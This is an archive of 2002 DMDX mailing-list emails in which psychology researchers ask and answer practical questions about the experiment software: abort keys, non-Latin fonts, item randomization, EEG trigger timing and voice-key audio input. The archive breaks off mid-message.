equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 20 15:49:17 2002 Received: from banta.psyc.missouri.edu (banta.psyc.missouri.edu [128.206.38.240]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA01082 for ; Thu, 20 Jun 2002 15:48:44 -0700 Received: from localhost (morey@localhost) by banta.psyc.missouri.edu (8.11.6/8.11.6) with ESMTP id g5KJnn811932 for ; Thu, 20 Jun 2002 14:49:49 -0500 Date: Thu, 20 Jun 2002 14:49:49 -0500 (CDT) From: Richard Morey To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] abort key Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is there any way to change the abort key (for the experiment) from ESC to something else? We don't want subjects to be able to escape so easily. Or at all, really. I thought of binding Escape to something else, but that doesn't work. Any suggestions? Thanks in advance. Richard Morey >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 25 16:14:51 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g5PNDpKd001399 for ; Tue, 25 Jun 2002 16:13:51 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D11FF9400091984 for DMDX@psy1.psych.arizona.edu; Tue, 25 Jun 2002 16:15:02 -0700 Message-Id: <5.1.0.14.2.20020625153847.00b189f8@psy1.psych.arizona.edu> Date: Tue, 25 Jun 2002 16:15:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX list server Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well if you get this email I suspect the DMDX list serv is back up and resistant to spam. It's now about twenty times faster than it used to be so archive searches will be much faster. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 1 18:50:25 2002 Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g621nGk9023912 for ; Mon, 1 Jul 2002 18:49:19 -0700 Received: from cpe-66-1-48-98.az.sprintbbd.net ([66.1.48.98] helo=anybodyi.u.arizona.edu) by gull.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17PCn3-0006Qc-00 for DMDX@psy1.psych.arizona.edu; Mon, 01 Jul 2002 21:49:14 -0400 Message-Id: <5.1.0.14.2.20020701184702.00b12848@psy1.psych.arizona.edu> Date: Mon, 01 Jul 2002 18:49:11 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] postings Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Has anyone tried to post something to the list since I announced it's re-commencement of service? If they have and it hasn't gotten through please drop me a note at jforster@email.arizona.edu. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 2 13:04:05 2002 Received: from copland.udel.edu (copland.udel.edu [128.175.13.92]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g62JiHnC002205 for ; Tue, 2 Jul 2002 12:44:17 -0700 Received: from localhost (hyi@localhost) by copland.udel.edu (8.9.3/8.9.3) with ESMTP id PAA29796 for ; Tue, 2 Jul 2002 15:44:14 -0400 (EDT) Date: Tue, 2 Jul 2002 15:44:14 -0400 (EDT) From: Heejong Yi To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Korean font Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I included Korean fonts in the item file using MS Word 2000. It did not work. Is it something I cannot do yet or something I don't know how to do it properly? Can we use non-romanized characters in DMDX? Thanks. heejong >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 2 13:34:59 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g62KYunC002409 for ; Tue, 2 Jul 2002 13:34:56 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D12001B00155109 for DMDX@psy1.psych.arizona.edu; Tue, 2 Jul 2002 13:34:55 -0700 Message-Id: <5.1.0.14.2.20020702133322.00b130e8@psy1.psych.arizona.edu> Date: Tue, 02 Jul 2002 13:34:55 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Korean font In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:44 PM 7/2/2002 -0400, you wrote: >I included Korean fonts in the item file using MS Word 2000. It did not >work. Is it something I cannot do yet or something I don't know how to do >it properly? Can we use non-romanized characters in DMDX? If you can get Wordpad to display the font DMDX should display it. It's possible Word 2000 is using non-standard RTF codes for your characters in which case Wordpad will remove them. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 2 22:31:33 2002 Received: from smtp1-gw.tp1rc.edu.tw (smtp1-gw.tp1rc.edu.tw [163.28.16.23]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g635UZnC003592 for ; Tue, 2 Jul 2002 22:30:35 -0700 Received: from ccms.ntu.edu.tw (ccms.ntu.edu.tw [140.112.2.3]) by smtp1-gw.tp1rc.edu.tw (8.9.3/8.9.3) with ESMTP id NAA51658 for ; Wed, 3 Jul 2002 13:23:26 +0800 (CST) (envelope-from hue@ccms.ntu.edu.tw) Received: from HUE (psy20.psy.ntu.edu.tw [140.112.62.20]) by ccms.ntu.edu.tw (8.11.6/8.9.3) with SMTP id g635UA919761 for ; Wed, 3 Jul 2002 13:30:10 +0800 (CST) From: ""Chih-Wei Hue"" To: Subject: [DMDX] RE: Re: Korean font Date: Wed, 3 Jul 2002 13:39:34 +0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" In-Reply-To: <5.1.0.14.2.20020702133322.00b130e8@psy1.psych.arizona.edu> Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list In addition to using WordPad as editor, please to the following things: (1) Check your computer using TimeDX to find out what Korean words are used in it to represent the ""keyboard"". (2) In the control line of the DMDX program, key in the word ""keyboard"" (in ) you find in the first step. (3) In the program lines, ""mapping response"" (mr) should be added whenever keyboard responses are needed. See the following example. 0 ""Press Space........ Using these steps, we are able to present Chinese, thus you should be able to present Korean. Good luck. Chih-Wei ======================================== Chih-Wei Hue, Ph.D. Professor Department of Psychology National Taiwan University Taipei, Taiwan 10764 E-mail: hue@ccms.ntu.edu.tw -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jonathan C. Forster Sent: Wednesday, July 03, 2002 4:35 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Korean font At 03:44 PM 7/2/2002 -0400, you wrote: >I included Korean fonts in the item file using MS Word 2000. It did not >work. Is it something I cannot do yet or something I don't know how to do >it properly? Can we use non-romanized characters in DMDX? If you can get Wordpad to display the font DMDX should display it. It's possible Word 2000 is using non-standard RTF codes for your characters in which case Wordpad will remove them. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 3 01:57:36 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g638v5nC004039 for ; Wed, 3 Jul 2002 01:57:06 -0700 Received: from [193.63.253.89] (helo=pc057.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #1) id 17PfwX-0003Br-00 for DMDX@psy1.psych.arizona.edu; Wed, 03 Jul 2002 09:56:57 +0100 Message-Id: <5.1.0.14.2.20020703100147.02140620@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 03 Jul 2002 10:04:01 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: Korean font In-Reply-To: <5.1.0.14.2.20020702133322.00b130e8@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > > If you can get Wordpad to display the font DMDX should display > it. It's possible Word 2000 is using non-standard RTF codes for your > characters in which case Wordpad will remove them. Some non Latin language specific RTF words can be removed in Notepad/MS DOS Edit without damaging the look of the font. We have had to do that a few times with Arabic. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 3 02:09:08 2002 Received: from psismtp2.psi.airtel.es (back.airtel.net [212.73.32.158]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g63994nC004170 for ; Wed, 3 Jul 2002 02:09:05 -0700 Received: from navegalia.com ([10.101.250.97]) by psismtp2.psi.airtel.es (ESMTP service) with ESMTP id GYO1EW02.058 for ; Wed, 3 Jul 2002 11:08:56 +0200 From: To: DMDX@psy1.psych.arizona.edu Message-ID: <1effea1edd14.1edd141effea@navegalia.com> Date: Wed, 03 Jul 2002 11:08:56 +0200 MIME-Version: 1.0 Subject: [DMDX] Errors in the beginning of the program Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello to all! I am writing from Spain and the reason is the following one: We are trying to carry out a task of priming masked by means of program DMDX. For it we have unloaded the last existing update. Everything seems to go correctly but when we executed Timedx and within him Input Test appears to us the following error: . And when executing any task in DMDX appears the following message : . We have used different operating systems (W95, W98, Wmillenium) and executed the program in different computers, but always happens the same error. Directx installed is updated and we have verified any other possibility that was related but we have not obtained that the program works. �What we are making bad? �It is a problem of the program or is that we cannot use it in Spain? We thank for your next answer. A greeting from Spain. __________________________________________________________________ �Quieres que cada vez que te llamen al m�vil suene ""TORERO""?. Si tienes un tel�fono Nokia s�lo tienes que enviar un SMS con el texto MTV102245 al n�mero 5666. Si tienes un m�vil diferente o quieres bajarte otras melod�as de la MTV visita http://www.vizzavi.es/Melodias Coste del mensaje 0,9 � impuestos indirectos no incluidos. >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 3 02:24:30 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g639ONnC004254 for ; Wed, 3 Jul 2002 02:24:24 -0700 Received: from [193.63.253.89] (helo=pc057.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #1) id 17PgN2-0003Om-00 for DMDX@psy1.psych.arizona.edu; Wed, 03 Jul 2002 10:24:20 +0100 Message-Id: <5.1.0.14.2.20020703102852.0214ea60@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 03 Jul 2002 10:31:28 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: Errors in the beginning of the program In-Reply-To: <1effea1edd14.1edd141effea@navegalia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Similar to the message about Korean above, you will need to have the word ""keyboard"" in spanish. Use TimeDX Basic Tests to find out what the keyboard is called, e.g. for French you need - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 3 08:56:02 2002 Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g63FtlnC005167 for ; Wed, 3 Jul 2002 08:55:47 -0700 Received: from cpe-66-1-48-98.az.sprintbbd.net ([66.1.48.98] helo=anybodyi.u.arizona.edu) by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17PmTp-00022I-00 for DMDX@psy1.psych.arizona.edu; Wed, 03 Jul 2002 11:55:46 -0400 Message-Id: <5.1.0.14.2.20020703085256.00b127a8@psy1.psych.arizona.edu> Date: Wed, 03 Jul 2002 08:55:43 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Errors in the beginning of the program In-Reply-To: <1effea1edd14.1edd141effea@navegalia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:08 AM 7/3/2002 +0200, you wrote: >Hello to all! >I am writing from Spain and the reason is the following one: We are >trying to carry out a task of priming masked by means of program DMDX. >For it we have unloaded the last existing update. >Everything seems to go correctly but when we executed Timedx and within >him Input Test appears to us the following error: driven>. That's not an error message, it's a good message. Read the Input section of the DMDX help. >And when executing any task in DMDX appears the following message : >. >We have used different operating systems (W95, W98, Wmillenium) and >executed the program in different computers, but always happens the >same error. Directx installed is updated and we have verified any other >possibility that was related but we have not obtained that the program >works. �What we are making bad? �It is a problem of the program or is >that we cannot use it in Spain? As Mike says, see what TimeDX uses for the name of the keyboard and use in the parameter line of your item file. You will have to specifically bind the response keys, read the Input section of the DMDX help. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 19 13:37:17 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6JKZeC5003534 for ; Fri, 19 Jul 2002 13:35:40 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D12001B00325820 for DMDX@psy1.psych.arizona.edu; Fri, 19 Jul 2002 13:37:32 -0700 Message-Id: <5.1.0.14.2.20020719133052.00b13080@psy1.psych.arizona.edu> Date: Fri, 19 Jul 2002 13:37:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] it's baaack... Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1 Sender: DMDX-owner@psy1 Precedence: list Well, at much expense to the management (me) mainly measured in shot brain cells and lost hair we have a DMDX list server again. It only talks to a couple of windows boxes now so hopefully (knocks on head) the thing will stay up and intact for a year or two before I have earn any more linux badges. Apologies to whoever it was in Hong Kong who sent me a chinese font problem while the list serv was down, I redirected the thing to what I thought was my work email address but it has yet to surface (if it ever will). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 19 17:58:33 2002 Received: from copland.udel.edu (copland.udel.edu [128.175.13.92]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6K0kls6000596 for ; Fri, 19 Jul 2002 17:46:48 -0700 Received: from localhost (hyi@localhost) by copland.udel.edu (8.9.3/8.9.3) with ESMTP id UAA17477 for ; Fri, 19 Jul 2002 20:48:29 -0400 (EDT) Date: Fri, 19 Jul 2002 20:48:29 -0400 (EDT) From: Heejong Yi To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Randomization of items in set Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have an item file like the following. I want to scramble the items. But, actually items [105, 205, 305] are a set. I want them to be displayed in order. Same thing for the items [106, 206, 306]. They make one set together. I don't want them to be scrambled. But, I want [105, 205, 305] and [106, 206, 306], the different sets to be scrambled. How do I do that? Thanks in advance... .... .... +105 * ""Slide13"" ; -205 /* ""Slide14""/; +305 * ""Slide15""; +106 * ""Slide16""; +206 / * ""Slide17""/; -306 * ""Slide18""; +107 * ""Slide19"" ; -207 / * ""Slide20""/; -307 * ""Slide21""; .... .... >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 19 18:13:16 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6K1Crs6000728 for ; Fri, 19 Jul 2002 18:12:53 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (6.0.053) id 3D38A9960000125D for DMDX@psy1.psych.arizona.edu; Fri, 19 Jul 2002 18:14:43 -0700 Message-Id: <5.1.0.14.2.20020719181258.00b12788@psy1.psych.arizona.edu> Date: Fri, 19 Jul 2002 18:14:42 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Randomization of items in set In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:48 PM 7/19/2002 -0400, you wrote: >I have an item file like the following. I want to scramble the items. >But, actually items [105, 205, 305] are a set. I want them to be displayed >in order. Same thing for the items [106, 206, 306]. They make one set >together. I don't want them to be scrambled. But, I want [105, 205, 305] >and [106, >206, 306], the different sets to be scrambled. How do I do that? Use the Grouping parameter, G. In your case you want G3 in the parameter line. Note each group of three items now counts as one item for the purposes of determining the value of the S parameter. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ But scientists, who ought to know Assure us that it must be so. Oh, let us never, never doubt What nobody is sure about. - Hilaire Belloc >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 24 06:31:26 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6ODUT5V003843 for ; Wed, 24 Jul 2002 06:30:30 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA6486 for ; Wed, 24 Jul 2002 15:31:09 +0200 Message-ID: <3D3EABFE.42230618@ling.uni-potsdam.de> Date: Wed, 24 Jul 2002 15:30:38 +0200 From: ruben van de vijver MIME-Version: 1.0 To: dmdx list Subject: [DMDX] doing erp studies and babystudies Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Does anybody have any experience in using dmdx for doing erp studies? I would be grateful for any answers to this question, but I am also looking for an answer to a more specific question: How can we make sure that the eeg signal has a mark at a particular point in the presentation of the stimulus material? Another question concerns doing baby studies. In our lab we do a lot of work with infants, where we measure their looking time to certain stimulus items. Is it possible for dmdx to video-tape a baby's response? thanks in advance, Ruben van de Vijver >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 24 06:58:10 2002 Received: from mhub-w2.tc.umn.edu (mhub-w2.tc.umn.edu [160.94.160.45]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6ODw75V003969 for ; Wed, 24 Jul 2002 06:58:07 -0700 Received: from anteater.software.umn.edu by mhub-w2.tc.umn.edu with ESMTP for DMDX@psy1.psych.arizona.edu; Wed, 24 Jul 2002 08:59:39 -0500 Received: (from nobody@localhost) by anteater.software.umn.edu (8.11.4/8.11.4) id g6ODxt906690; Wed, 24 Jul 2002 08:59:55 -0500 Message-Id: <200207241359.g6ODxt906690@anteater.software.umn.edu> Date: Wed, 24 Jul 2002 08:59:55 CDT From: ""Stephen D. Benning"" Subject: [DMDX] Re: doing erp studies and babystudies To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On 24 Jul 2002, ruben van de vijver wrote: > Does anybody have any experience in using dmdx for doing erp studies? I > would be grateful for any answers to this question, but I am also > looking for an answer to a more specific question: How can we make sure > that the eeg signal has a mark at a particular point in the presentation > of the stimulus material? In our lab, we split out the RGB channels from the video card and plug them into three different channels in our Neuroscan system, then run the experimental program while recording a continuous EEG file. As long as the stimulus onset sends visibly larger (or smaller) amounts of activation to at least one of the channels, you can then examine the epoched file to see if the point at which the trigger occurred matches the point at which the stimulus material was presented. For example, if your monitor displays a black background when stimuli are not being displayed, any stimulus that takes up a significant amount of the screen will activate the channels and show up in the epoched file. If you have audio stimuli instead, feed the output from the computer's sound card (or other noise generator) into the Neuroscan amp (or whatever system you use). This is about as low a level of stimulus-trigger matching that you can get. You'll want to collect this timing data at a sampling rate at around 10 times that of the timing precision you want (e.g. if you want 1ms timing, you'll want to sample every .1ms, or at 10,000 Hz) so that you have ample resolution to investigate the timing. > Another question concerns doing baby studies. In our lab we do a lot of > work with infants, where we measure their looking time to certain > stimulus items. Is it possible for dmdx to video-tape a baby's response? Dunno about this one:) Stephen Benning 75 East River Road Office: N631 Minneapolis, MN 55455 >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 24 07:36:52 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6OEad5V004071 for ; Wed, 24 Jul 2002 07:36:39 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA66B6 for ; Wed, 24 Jul 2002 16:37:18 +0200 Message-ID: <3D3EBB7F.CCC0E649@ling.uni-potsdam.de> Date: Wed, 24 Jul 2002 16:36:47 +0200 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: doing erp studies and babystudies References: <200207241359.g6ODxt906690@anteater.software.umn.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Stephen, Thanks for your prompt answer! Ruben ""Stephen D. Benning"" wrote: > On 24 Jul 2002, ruben van de vijver wrote: > > Does anybody have any experience in using dmdx for doing erp studies? I > > would be grateful for any answers to this question, but I am also > > looking for an answer to a more specific question: How can we make sure > > that the eeg signal has a mark at a particular point in the presentation > > of the stimulus material? > > In our lab, we split out the RGB channels from the video card and plug them > into three different channels in our Neuroscan system, then run the > experimental program while recording a continuous EEG file. As long as the > stimulus onset sends visibly larger (or smaller) amounts of activation to > at least one of the channels, you can then examine the epoched file to see > if the point at which the trigger occurred matches the point at which the > stimulus material was presented. For example, if your monitor displays a > black background when stimuli are not being displayed, any stimulus that > takes up a significant amount of the screen will activate the channels and > show up in the epoched file. If you have audio stimuli instead, feed the > output from the computer's sound card (or other noise generator) into the > Neuroscan amp (or whatever system you use). This is about as low a level > of stimulus-trigger matching that you can get. You'll want to collect this > timing data at a sampling rate at around 10 times that of the timing > precision you want (e.g. if you want 1ms timing, you'll want to sample > every .1ms, or at 10,000 Hz) so that you have ample resolution to > investigate the timing. > > > Another question concerns doing baby studies. In our lab we do a lot of > > work with infants, where we measure their looking time to certain > > stimulus items. Is it possible for dmdx to video-tape a baby's response? > > Dunno about this one:) > > Stephen Benning > 75 East River Road > Office: N631 > Minneapolis, MN 55455 > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 24 08:58:28 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6OFwG5V004285 for ; Wed, 24 Jul 2002 08:58:16 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.053) id 3D12001B003A17AB for DMDX@psy1.psych.arizona.edu; Wed, 24 Jul 2002 08:59:51 -0700 Message-Id: <5.1.0.14.2.20020724084817.00b127a8@psy1.psych.arizona.edu> Date: Wed, 24 Jul 2002 08:59:50 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: doing erp studies and babystudies In-Reply-To: <3D3EABFE.42230618@ling.uni-potsdam.de> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:30 PM 7/24/2002 +0200, you wrote: >Does anybody have any experience in using dmdx for doing erp studies? I >would be grateful for any answers to this question, but I am also >looking for an answer to a more specific question: How can we make sure >that the eeg signal has a mark at a particular point in the presentation >of the stimulus material? Around here people use an interface card and the O switch to output codes to the recording machine when the display is active. See: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhinput.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhpiotest.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhoutputkeyword.htm To get a fixed ISI see: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhtimingnotes.htm >Another question concerns doing baby studies. In our lab we do a lot of >work with infants, where we measure their looking time to certain >stimulus items. Is it possible for dmdx to video-tape a baby's response? No, it will play digital video, it won't record it. You could get it to control an external video machine with a bit or two of the interface card's output. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ But scientists, who ought to know Assure us that it must be so. Oh, let us never, never doubt What nobody is sure about. - Hilaire Belloc >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 25 01:48:51 2002 Received: from hkusua.hku.hk (hkue10ka.hku.hk [147.8.2.91]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6P8lwMS001284 for ; Thu, 25 Jul 2002 01:47:59 -0700 Received: from webmailb.hku.hk (webmailb.hku.hk [147.8.235.101]) by hkusua.hku.hk (8.11.4/8.11.4) with ESMTP id g6P8nTj27522 for ; Thu, 25 Jul 2002 16:49:29 +0800 (HKT) Date: Thu, 25 Jul 2002 16:49:29 +0800 From: Darius Tse Chi Shing To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] About DirectSoundCapture Message-ID: <3D41E698@webmailb.hku.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, Everyone, I will use DMDX to write a primed-naming experiment in which the naming latency of participants would be recorded. For the Audio Input, I've read the updated page written by Prof. Forster, ""Two special input devices interface with DirectSoundCapture, the DigitalVOX device and the RecordVocal device. The DigitalVOX input device does away with external electronic voice keys using a microphone and sound card instead and the RecordVocal input device writes the subject's vocalization to disk."" But I am not sure where I can download or find out the Direct Sound Capture. Also, which kind of microphone and sound-recording 